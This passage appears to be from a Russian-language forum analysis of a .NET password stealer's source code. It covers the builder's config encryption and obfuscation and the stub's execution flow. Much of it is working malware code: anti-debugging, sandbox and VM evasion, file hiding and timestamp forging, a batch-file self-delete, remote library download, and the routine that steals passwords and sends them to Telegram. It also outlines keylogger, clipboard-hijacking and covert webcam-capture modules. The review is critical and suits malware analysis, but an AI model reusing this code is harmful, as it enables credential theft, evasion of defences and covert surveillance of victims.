using (var cs = new CryptoStream(ms, AES.CreateEncryptor(), CryptoStreamMode.Write))
{
cs.Write(bytesToBeEncrypted, 0, bytesToBeEncrypted.Length);
cs.Close();
}
encryptedBytes = ms.ToArray();
}
}
return "CRYPTED:" + Convert.ToBase64String(encryptedBytes);
}
Далее конфигурационные параметры вшиваются в стаб с помощью библиотеки «Mono.Cecil». Эта библиотека позволяет разбирать и модифицировать форматы структур .NET сборок и байт-кода (хотя на мой вкус библиотека «dnlib» куда проще и приятнее в программировании подобных вещей). Формально данный код просто проходит все методы всех классов во всех модулях стаба, находит в них инструкции дотнетовского байт-кода «LDSTR» (загрузка константной строки на стек) и заменяет операнд на строку из конфигурации в том случае, если исходная строка операнд начинается с «---». С точки зрения архитектуры стаба это решение кажется избыточным, наверное имело бы смысл держать всю конфигурацию для стаба в одном классе и проходить только по его методам, а не по всей дотнетовской сборке (конечно же Assembly имеется ввиду).
C#:Скопировать в буфер обмена
public static AssemblyDefinition IterValues(AssemblyDefinition definition)
{
foreach (ModuleDefinition definition2 in definition.Modules)
foreach (TypeDefinition definition3 in definition2.Types)
if (definition3.Name.Equals("Config"))
foreach (MethodDefinition definition4 in definition3.Methods)
if (definition4.IsConstructor && definition4.HasBody)
{
IEnumerator<Instruction> enumerator;
enumerator = definition4.Body.Instructions.GetEnumerator();
while (enumerator.MoveNext())
{
var current = enumerator.Current;
if (current.OpCode.Code == Code.Ldstr & current.Operand is object)
{
string str = current.Operand.ToString();
if (str.StartsWith("---") && str.EndsWith("---"))
current.Operand = ReplaceConfigParams(str);
}
}
}
return definition;
}
После зашивания конфигурационных значений в байт-код стаба, сам стаб отправляется на обфускацию с помощью изъезженного вдоль и поперек разными малварищиками бесплатного обфускатора с открытыми исходными кодами — «ConfuserEx» (одна птичка мне напела, что изъезженного до такой степени, что Антивирус Касперского в принципе считает .NET исполняемые файлы, накрытые «ConfuserEx», как подозрительные). Было бы конечно получше, если бы автор «Штормового Котёнка» удосужился перенаправить вывод от процесса «ConfuserEx» в своё консольное окно (ну чтобы понимать, что конкретно пошло не так, если обфускация провалилась), но имеем то, что имеем (реализация находится в файле «obfuscation.cs» и особого интереса не представляет). Кроме того сборщик может добавить иконку обфусцированному исполняемому файлу, если это нужно (реализовано в файле «icon.cs»). Для добавления иконки используются WinAPI функции для работы с ресурсами PE-файлов, который можно найти в официальных мануалах от «мелкомягких» (Microsoft же, ага, MSDN там всякий). На этом предлагаю закончить копаться в сборщике стаба и перейти к самому интересному — коду самого стаба.
С точки зрения архитектуры проекта стаб представляет собой главный файл «program.cs» и набор модулей, более менее нормально сгруппированных по папкам и подпапкам. Давайте начнём рассматривать стаб с точки входа (статическая функция «Main» класса «Program»), чтобы в последствии было проще понять, как отдельные модули взаимодействуют друг с другом (по сути дела никак, но всё же). Не переживайте мы рассмотрим некоторые интересные модули отдельно чуть попозже.
В самом начале функции Main написана небольшая дотнетовская магия, которую автор проекта любезно отделил для нас комментарием «SSL сучка». Это указание некоторых параметров класса помогающего дотнету осуществлять HTTPS запросы с использованием SSL/TLS. Об этих параметрах можно прочитать на MSDN, но отдельно я хотел бы остановиться на магическом числе 3072 и почему оно такое, какое оно есть. Сам проект стаба собирается под дотнет версии 4.0, который (страшно подумать) был выпущен в бородатом 2010ом году. Так вот в этом бородатом 2010ом году в дотнете, да и в операционных системах семейства Windows, никто ещё и не думал использовать TLS версии 1.2 (хотя эта версия протокола вышла чуть раньше — в 2008ом году, поправьте, если я ошибся в датах того времени, когда динозавры были большими). Поэтому в перечислении «SecurityProtocolType» в дотнет фреймворке 4.0 нет соответствующего TLS 1.2 значения (оно появится только в дотнет фреймворке 4.5, если мне не изменяет память). Численное значение этого сравнительно нового значения перечисления — 3072, то есть автор кода устанавливает это значение в надежде, что стаб все же окажется на современной системе с установленным фреймворков 4.5 или с установленной на уровне системы поддержкой TLS 1.2. Честно говоря, я не в курсе, будет ли выброшено исключение, если такой поддержки нет, или просто будет использован протокол по умолчанию, напишите в комментариях, если знаете точно.
C#:Скопировать в буфер обмена
// SSL сучка
ServicePointManager.Expect100Continue = true;
ServicePointManager.SecurityProtocol = (SecurityProtocolType)3072;
ServicePointManager.DefaultConnectionLimit = 9999;
Далее по коду происходит классическая для малвари защита от повторного запуска, опытным программистам и реверсерам тут должно быть всё понятно, но для неофитов можно немного пояснить. Смысл в том, что создаётся глобальный именованный мьютекс (примитив операционной системы для синхронизации процессов). Конструктор мьютекса в дотнете возвращает информацию о том, был ли мьютекс создан или уже существовал до этого и был открыт. Соответственно, если стаб был запущен несколько раз, то первый его процесс создаст мьютекс и будет работать, а глобальный именованный мьютекс будет существовать до завершения этого процесса. А все последующие процессы «увидят», что мьютекс уже существуют и выйдут. Понятно, что наличие дополнительного глобального именованного мьютекса в системе может выдавать запущенную на системе малварь (если знать, какое имя мьютекса соответствует малвари), но данный стилер и так в отдельном процессе запускается, так что не суть важно.
C#:Скопировать в буфер обмена
internal sealed class MutexControl
{
// Prevent the program from running twice
public static void Check()
{
bool createdNew = false;
Mutex currentApp = new Mutex(false, Config.Mutex, out createdNew);
if (!createdNew)
Environment.Exit(1);
}
}
Затем стаб проверяет, лежит ли исполняемый файл в специальной скрытой самом банальным способом директории, предварительно создав её, если эта директория отсутствовала. Если же исполняемый файл стаба лежит вне этой директории, то файл скрывается аналогичным образом, а именно с помощью выставления аттрибута «hidden» для файла (реализовано в классе «Implant.Startup»). Конечно, ни о каких хитровыдуманных способах сокрытия файла речи тут не идёт, а делать это именно таким образом в 2020 году нужно разве что для галочки и одного дополнительного пункта в списке фич стилера в теме о его продаже, ну вы понимаете. Да и ходят слухи, что некоторые антивирусы находят подозрительным то поведение, в ходе которого исполняемый файл сам себе проставляет аттрибут «hidden», что ну совсем ни разу не удивительно. Ну что уж теперь, едем дальше.
C#:Скопировать в буфер обмена
// Change file creation date
public static void SetFileCreationDate(string path = null)
{
string filename = path;
if (path == null) filename = ExecutablePath;
// Log
Logging.Log("SetFileCreationDate : Changing file " + filename + " creation data");
DateTime time = new DateTime(
DateTime.Now.Year - 2, 5, 22, 3, 16, 28);
File.SetCreationTime(filename, time);
File.SetLastWriteTime(filename, time);
File.SetLastAccessTime(filename, time);
}
// Hide executable
public static void HideFile(string path = null)
{
string filename = path;
if (path == null) filename = ExecutablePath;
// Log
Logging.Log("HideFile : Adding 'hidden' attribute to file " + filename);
new FileInfo(filename).Attributes |= FileAttributes.Hidden;
}
После этого стаб проверяет, прописаны ли в его конфигурации параметры для API Телеграмма. В случае их отсутствия происходит самоудаление. Само собой, разве может быть иначе, самоудаление реализовано по классической для малвари костыльной схеме — через создание и запуск батника. Я очень не люблю этот способ, но почему то вижу его просто повсеместно в любой малварке. Но все же сравнительно приятным бонусом этого кода является вызов «chcp 65001» в начале батника (установка кодировки в UTF-8). Это сделано потому, что пути к файлам могут содержать локализованные символы (кириллицу там, например), а метод «File.AppendText» открывает файл на запись текста в кодировке именно UTF-8. Многие авторы малвари об этом не задумываются, а тут наш Владимир из Украины показал, что умеет обращать внимание на детали (жаль, что это происходит далеко не всегда).
C#:Скопировать в буфер обмена
public static void Melt()
{
// Paths
string batch = Path.GetTempFileName() + ".bat";
string path = System.Reflection.Assembly.GetExecutingAssembly().Location;
string dll1 = Path.Combine(Path.GetDirectoryName(path), "DotNetZip.dll");
string dll2 = Path.Combine(Path.GetDirectoryName(path), "AnonFileApi.dll");
int currentPid = Process.GetCurrentProcess().Id;
// Write batch
using (StreamWriter sw = File.AppendText(batch))
{
sw.WriteLine("chcp 65001");
sw.WriteLine("TaskKill /F /IM " + currentPid);
sw.WriteLine("Timeout /T 2 /Nobreak");
sw.WriteLine($"Del /ah \"{path}\" & Del /ah \"{dll1}\" & Del /ah \"{dll2}\"");
}
// Log
Logging.Log("SelfDestruct : Running self destruct procedure...");
// Start
Process.Start(new ProcessStartInfo()
{
FileName = "cmd.exe",
Arguments = "/C " + batch,
WindowStyle = ProcessWindowStyle.Hidden,
CreateNoWindow = true
});
// Wait for exit
System.Threading.Thread.Sleep(5000);
System.Environment.FailFast(null);
}
Далее в зависимости от конфигурации стаб делает или не делает рандомную паузу (от нуля до десяти секунд). Назначение этого кода не особо понятна в глобальном плане, напишите в комментарии ваши идеи по этому поводу. Реализация самой паузы хранится в классе «Implant.StartDelay».
C#:Скопировать в буфер обмена
internal sealed class StartDelay
{
// Sleep min, sleep max
private static readonly int SleepMin = 0;
private static readonly int SleepMax = 10;
// Sleep
public static void Run()
{
int SleepTime = new Random().Next(
SleepMin * 1000,
SleepMax * 1000
);
Logging.Log("StartDelay : Sleeping " + SleepTime);
System.Threading.Thread.Sleep(SleepTime);
}
}
Затем стаб применяет набор методов для противодействия анализу, в том случае, если факт анализа будет установлен стабом, он выведет подложное (от слова «ложь» а не от слова «ложить») сообщение об ошибке и вызовет код для самоудаления, который мы рассмотрели ранее. Набор методов противодействия анализу довольно стандартный и опять же сделан в основном для галочки. Есть поиск подключённого к процессу стаба отладчика с помощью функции «CheckRemoteDebuggerPresent» (это довольно легко обходится, в отладчике dnSpy есть соответствующий код). Есть попытка определить исполнение внутри эмулятора за счёт функции «Sleep». Смысл этого метода в том, что подавляющее большинство эмуляторов пропускают все вызовы «Sleep», и типа внутреннее значение времени внутри эмулятора при этом не изменяется, поэтому можно проспать 10 миллисекунд и проверить, действительно ли прошло минимум 10 миллисекунд. Эта методика возможно и работала N-лет назад, когда эмуляторы были тупыми и не учитывали «Sleep» в своих внутренних часах, но в 2020 году это вряд ли как-то поможет, скорее может быть сигнатурой для антивируса. Так же есть проверка HTTP-запросом (для определения запуска на VirusTotal, AnyRun и так далее), проверка на наличие внутри процесса стаба динамических библиотек различных сэндбоксов, проверка на наличие некоторых запущенных процессов для динамического анализа малвари и проверка на запуск внутри виртуальной инфраструктуры. Для более менее опытного реверсера все эти проверки особых проблем не должны вызывать, а вот антивирусы с другой стороны могут отнестись к ним неравнодушно.
C#:Скопировать в буфер обмена
internal sealed class AntiAnalysis
{
// CheckRemoteDebuggerPresent (Detect debugger)
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)]
private static extern bool CheckRemoteDebuggerPresent(IntPtr hProcess, ref bool isDebuggerPresent);
// GetModuleHandle (Detect SandBox)
[DllImport("kernel32.dll")]
private static extern IntPtr GetModuleHandle(string lpModuleName);
/// <summary>
/// Returns true if the file is running in debugger; otherwise returns false
/// </summary>
public static bool Debugger()
{
bool isDebuggerPresent = false;
try
{
CheckRemoteDebuggerPresent(Process.GetCurrentProcess().Handle, ref isDebuggerPresent);
return isDebuggerPresent;
} catch { }
return isDebuggerPresent;
}
/// <summary>
/// Returns true if the file is running in emulator; otherwise returns false
/// </summary>
public static bool Emulator()
{
try
{
long ticks = DateTime.Now.Ticks;
System.Threading.Thread.Sleep(10);
if (DateTime.Now.Ticks - ticks < 10L)
return true;
}
catch { }
return false;
}
/// <summary>
/// Returns true if the file is running on the server (VirusTotal, AnyRun); otherwise returns false
/// </summary>
public static bool Hosting()
{
try
{
string status = new System.Net.WebClient()
.DownloadString(
StringsCrypt.Decrypt(new byte[] { 150, 74, 225, 199, 246, 42, 22, 12, 92, 2, 165, 125, 115, 20, 210, 212, 231, 87, 111, 21, 89, 98, 65, 247, 202, 71, 238, 24, 143, 201, 231, 207, 181, 18, 199, 100, 99, 153, 55, 114, 55, 39, 135, 191, 144, 26, 106, 93, }));
return status.Contains("true");
} catch { }
return false;
}
/// <summary>
/// Returns true if a process is started from the list; otherwise, returns false
/// </summary>
public static bool Processes()
{
Process[] running_process_list = Process.GetProcesses();
string[] selected_process_list = new string[] {
"processhacker",
"netstat", "netmon", "tcpview", "wireshark",
"filemon", "regmon", "cain"
};
foreach (Process process in running_process_list)
if (selected_process_list.Contains(process.ProcessName.ToLower()))
return true;
return false;
}
/// <summary>
/// Returns true if the file is running in sandbox; otherwise returns false
/// </summary>
public static bool SandBox()
{
string[] dlls = new string[5]
{
"SbieDll",
"SxIn",
"Sf2",
"snxhk",
"cmdvrt32"
};
foreach (string dll in dlls)
if (GetModuleHandle(dll + ".dll").ToInt32() != 0)
return true;
return false;
}
/// <summary>
/// Returns true if the file is running in VirtualBox or VmWare; otherwise returns false
/// </summary>
public static bool VirtualBox()
{
using (ManagementObjectSearcher managementObjectSearcher = new ManagementObjectSearcher("Select * from Win32_ComputerSystem"))
try
{
using (ManagementObjectCollection managementObjectCollection = managementObjectSearcher.Get())
foreach (ManagementBaseObject managementBaseObject in managementObjectCollection)
if ((managementBaseObject["Manufacturer"].ToString().ToLower() == "microsoft corporation" &&
managementBaseObject["Model"].ToString().ToUpperInvariant().Contains("VIRTUAL")) ||
managementBaseObject["Manufacturer"].ToString().ToLower().Contains("vmware") ||
managementBaseObject["Model"].ToString() == "VirtualBox")
return true;
}
catch { }
foreach (ManagementBaseObject managementBaseObject2 in new ManagementObjectSearcher("root\\CIMV2", "SELECT * FROM Win32_VideoController").Get())
if (managementBaseObject2.GetPropertyValue("Name").ToString().Contains("VMware")
&& managementBaseObject2.GetPropertyValue("Name").ToString().Contains("VBox"))
return true;
return false;
}
/// <summary>
/// Detect virtual enviroment
/// </summary>
public static bool Run()
{
if (Config.AntiAnalysis == "1")
{
if (Hosting()) Logging.Log("AntiAnalysis : Hosting detected!", true);
if (Processes()) Logging.Log("AntiAnalysis : Process detected!", true);
if (VirtualBox()) Logging.Log("AntiAnalysis : Virtual machine detected!", true);
if (SandBox()) Logging.Log("AntiAnalysis : SandBox detected!", true);
//if (Emulator()) Logging.Log("AntiAnalysis : Emulator detected!", true);
if (Debugger()) Logging.Log("AntiAnalysis : Debugger detected!", true);
}
return false;
}
/// <summary>
/// Run fake error message and self destruct
/// </summary>
public static void FakeErrorMessage()
{
string code = StringsCrypt.GenerateRandomData("1");
code = "0x" + code.Substring(0, 5);
Logging.Log("Sending fake error message box with code: " + code);
MessageBox.Show("Exit code " + code, "Runtime error",
MessageBoxButtons.RetryCancel, MessageBoxIcon.Error);
SelfDestruct.Melt();
}
}
После этого стаб по какой-то причине устанавливает в текущую рабочую директорию значение своей рабочей папки (она была описана ранее). Это подозрительно попахивает говнокодом, так как в принципе в сфере разработки любого программного обеспечения работа по относительным путям является табу (ну или «строгим запретом». Это важный совет, который стоит уяснить неофитам: всегда работайте по абсолютным путям к файлам и каталогам.
C#:Скопировать в буфер обмена
// Change working directory to appdata
System.IO.Directory.SetCurrentDirectory(Paths.InitWorkDir());
Далее стаб выкачивает прямиком из Github аккаунта нашего Владимира из Украины две библиотеки: «DotNetZip» и «AnonFileApi» (ту самую со вложенной малварью мистера кулхацкера Владимира). Стаб на всякий случай пытается выкачать эти библиотеки по три раза, и в случае успеха проставляет этим библиотекам файловый аттрибут «hidden» и изменяет дату создания файла. Этот код конечно очень некрасиво написан (использование while вместо совершенно уместного в этом случае цикла for, проверка на существование файла аж четыре раза и так далее), вызывает некоторое кровотечение из глаз.
C#:Скопировать в буфер обмена
public static bool LoadRemoteLibrary(string library)
{
int i = 0;
string dll = Path.Combine(Path.GetDirectoryName(Startup.ExecutablePath), Path.GetFileName(new Uri(library).LocalPath));
while (i < 3)
{
i++;
if (!File.Exists(dll))
{
try
{
using (var client = new WebClient())
client.DownloadFile(library, dll);
}
catch (WebException)
{
Logging.Log("LibLoader: Failed to download library " + dll);
System.Threading.Thread.Sleep(2000);
continue;
}
Startup.HideFile(dll);
Startup.SetFileCreationDate(dll);
}
}
return File.Exists(dll);
}
Затем стаб дешифрует конфигурационные значения, которые были зашифрованы сборщиком (алгоритм шифрования был уже описан ранее), и проверяет валидность API токена Телеграмма. В случае, если токен не валиден, происходит самоудаление. Ну и после всех этих приготовлений происходит непосредственный сбор паролей и другой полезной информации, упаковка их в ZIP-архив, залив ZIP-архива на сервис AnonFiles и отправка ссылки для скачивания залитого файла в Телеграмм. Кроме того в след за ссылкой стаб должен отправить информацию о компьютере, с которого был собран только что высланный ZIP-архив. Сами алгоритмы всего этого особого интереса не представляют, да и описывать каждый из них очень долго. Отмечу только, что реализация этого всего находится в классах «Report.Telegram», «Filemanager» и «SystemInfo». Ну а некоторые алгоритмы сбора паролей и другой ценной информации мы рассмотрим отдельно (это же самое интересное в стилерах, да?).
C#:Скопировать в буфер обмена
// Decrypt config strings
Config.Init();
// Test telegram API token
if (!Telegram.Report.TokenIsValid())
Implant.SelfDestruct.Melt();
// Steal passwords
string passwords = Passwords.Save();
// Compress directory
string archive = Filemanager.CreateArchive(passwords);
// Send archive
Telegram.Report.SendReport(archive);
После выполнения основного функционала на предыдущем шаге у стаба есть два варианта развития событий: либо завершить исполнение и самоудалиться, либо (если включены клипер и/или кейлоггер) продолжить работу, запустив эти компоненты в отдельных потоках (опять же, если при сборке стаба в конфигурации они были включены). Основной поток же простаивает в ожидании завершения потоков клипера и кейлоггера.
C#:Скопировать в буфер обмена
// Run keylogger module
if (Config.KeyloggerModule == "1" && (Counter.BankingServices || Counter.Telegram) && Config.Autorun == "1")
{
Logging.Log("Starting keylogger modules...");
W_Thread = WindowManager.MainThread;
W_Thread.SetApartmentState(ApartmentState.STA);
W_Thread.Start();
}
// Run clipper module
if (Config.ClipperModule == "1" && Counter.CryptoServices && Config.Autorun == "1")
{
Logging.Log("Starting clipper modules...");
C_Thread = ClipboardManager.MainThread;
C_Thread.SetApartmentState(ApartmentState.STA);
C_Thread.Start();
}
// Wait threads
if (W_Thread != null) if (W_Thread.IsAlive) W_Thread.Join();
if (W_Thread != null) if (C_Thread.IsAlive) C_Thread.Join();
Архитектурно клипер сделан довольно нелепо по моему мнению, он разбит на несколько модулей, при каждом получении и установки значения буфера обмена почему-то создаётся отдельный поток, при этом можно было бы все делать в одном основном потоке. Для подмены содержимого буфера обмена используется поиск по регулярным выражениям, кроме того оригинальное содержимое буфера обмена логируется в файл. Проверка того, что в буфере обмена появилась новая строка, происходит раз в две секунды. Мне кажется, что все уже давно должны были научиться проверять идентификаторы своих криптовалютных кошельков, когда куда их копируют и вставляют. Клипер реализован несколькими классами из папки «Clipper» и главным управляющим классом «ClipboardManager».
Кейлоггер синхронный и реализован по классической для малвари схеме с использованием функции «SetWindowsHookEx». Для неофитов можно пояснить, что эта функция (когда вызвана с параметром WH_KEYBOARD_LL) устанавливает обработчик на системные события, связанные с клавиатурой, в частности нажатие клавиш. В принципе подобный код можно увидеть в абсолютно любом другом кейлоггере, да и придумывать здесь что-то новое вряд ли необходимо. Для получения конкретного символа из scan кода и virtual key кода используется функция «ToUnicodeEx», при том учитывается текущая раскладка, полученная с помощью функции «GetKeyboardLayout». Такой кейлоггер не сможет определить ввод некоторых хитрых символов (например, немецкого языка, которые требуют последовательного нажатия двух разных клавиш), но в принципе должен выполнять свою функцию исправно. Забавной фичей модуля кейлоггера является поиск открытых вкладок браузера с порно сайтами. Если открыт такой сайт модуль кейлоггера пытается сделать скриншот экрана и снимок веб-камерой. Сразу вспоминаются те самые письма с угрозами об этом, которые массово рассылали по почте всем подряд некоторое время назад. Наличие этого функционала именно в модуле кейлоггера кажется таким бредом, но имеем то, что имеем. Снимок экрана реализован с помощью .NET классов, а снимок веб-камерой — с помощью функций из системной библиотеки «avicap32.dll». Почти уверен, что примерно похожий код вы найдёте по первой ссылке на StackOverflow в поисковых запросах «.net screenshot example» и «.net webcamshot example», или что-то в этом духе. Кейлоггер реализован несколькими классами из папки «Keylogger» и классом «WindowManager», и да, это тоже кажется очень избыточным с точки зрения архитектуры проекта.